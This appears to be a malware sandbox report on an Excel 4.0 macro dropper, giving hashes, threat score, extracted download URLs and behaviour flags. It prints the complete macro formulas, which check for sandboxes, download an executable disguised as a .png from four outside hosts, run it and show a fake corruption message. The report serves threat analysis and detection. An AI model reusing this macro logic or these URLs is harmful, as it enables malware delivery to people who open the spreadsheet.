Resubmissions

28-12-2022 03:41

221228-d8w4gscd5x 10

09-04-2020 14:52

200409-4eb6rljnsx 10

General

  • Target

    89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c

  • Size

    111KB

  • Sample

    221228-d8w4gscd5x

  • MD5

    c7f273947124d844d77b7c376a9393b4

  • SHA1

    3497bea7fbb12fa3d62fce071fdb22ca53bfbddb

  • SHA256

    89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c

  • SHA512

    b44a5e25276cb98cffa8a5d815d1802e817101cf028216761efb85f65610da2af1741f549fa7738985650dda8727bb7ccc1f36e5ac8baf2fc2ec004bf2c07b0d

  • SSDEEP

    3072:+0k3hbdlylKsgqopeJBWhZFGkE+cLax9M5QeSqA6JhzmuoVJEm9lKOXm:tk3hbdlylKsgqopeJBWhZFVE+Wax9MM9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png

http://icietdemain.fr/contents/2020/02/idle/222222.png

http://careers.sorint.it/idle/33333.png

http://uniluisgpaez.edu.co/wp-content/uploads/2020/02/idle/444444.png

Attributes
  • formulas

    =IF(GET.WORKSPACE(42),,CLOSE(TRUE)) =GET.WORKSPACE(13) =GET.WORKSPACE(14) =IF(A2<770,CLOSE(FALSE),) =IF(A3<380,CLOSE(FALSE),) =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png","c:\Users\Public\asd2asff32.exe",0,0) =IF(A7<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://icietdemain.fr/contents/2020/02/idle/222222.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12)) =IF(A8<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://careers.sorint.it/idle/33333.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12)) =IF(A9<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://uniluisgpaez.edu.co/wp-content/uploads/2020/02/idle/444444.png","c:\Users\Public\asd2asff32.exe",0,0),GOTO(A12)) =IF(A10<0,CLOSE(FALSE),) =EXEC("c:\Users\Public\asd2asff32.exe") =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2) =CLOSE(FALSE)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png

xlm40.dropper

http://icietdemain.fr/contents/2020/02/idle/222222.png

xlm40.dropper

http://careers.sorint.it/idle/33333.png

xlm40.dropper

http://uniluisgpaez.edu.co/wp-content/uploads/2020/02/idle/444444.png

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://samphaopet.com/wp-content/uploads/2020/02/idle/111111.png

Targets

    • Target

      89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c

    • Size

      111KB

    • MD5

      c7f273947124d844d77b7c376a9393b4

    • SHA1

      3497bea7fbb12fa3d62fce071fdb22ca53bfbddb

    • SHA256

      89e6e635c1101a6a89d3abbb427551fd9b0c1e9695d22fa44dd480bf6026c44c

    • SHA512

      b44a5e25276cb98cffa8a5d815d1802e817101cf028216761efb85f65610da2af1741f549fa7738985650dda8727bb7ccc1f36e5ac8baf2fc2ec004bf2c07b0d

    • SSDEEP

      3072:+0k3hbdlylKsgqopeJBWhZFGkE+cLax9M5QeSqA6JhzmuoVJEm9lKOXm:tk3hbdlylKsgqopeJBWhZFVE+Wax9MM9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v6

Tasks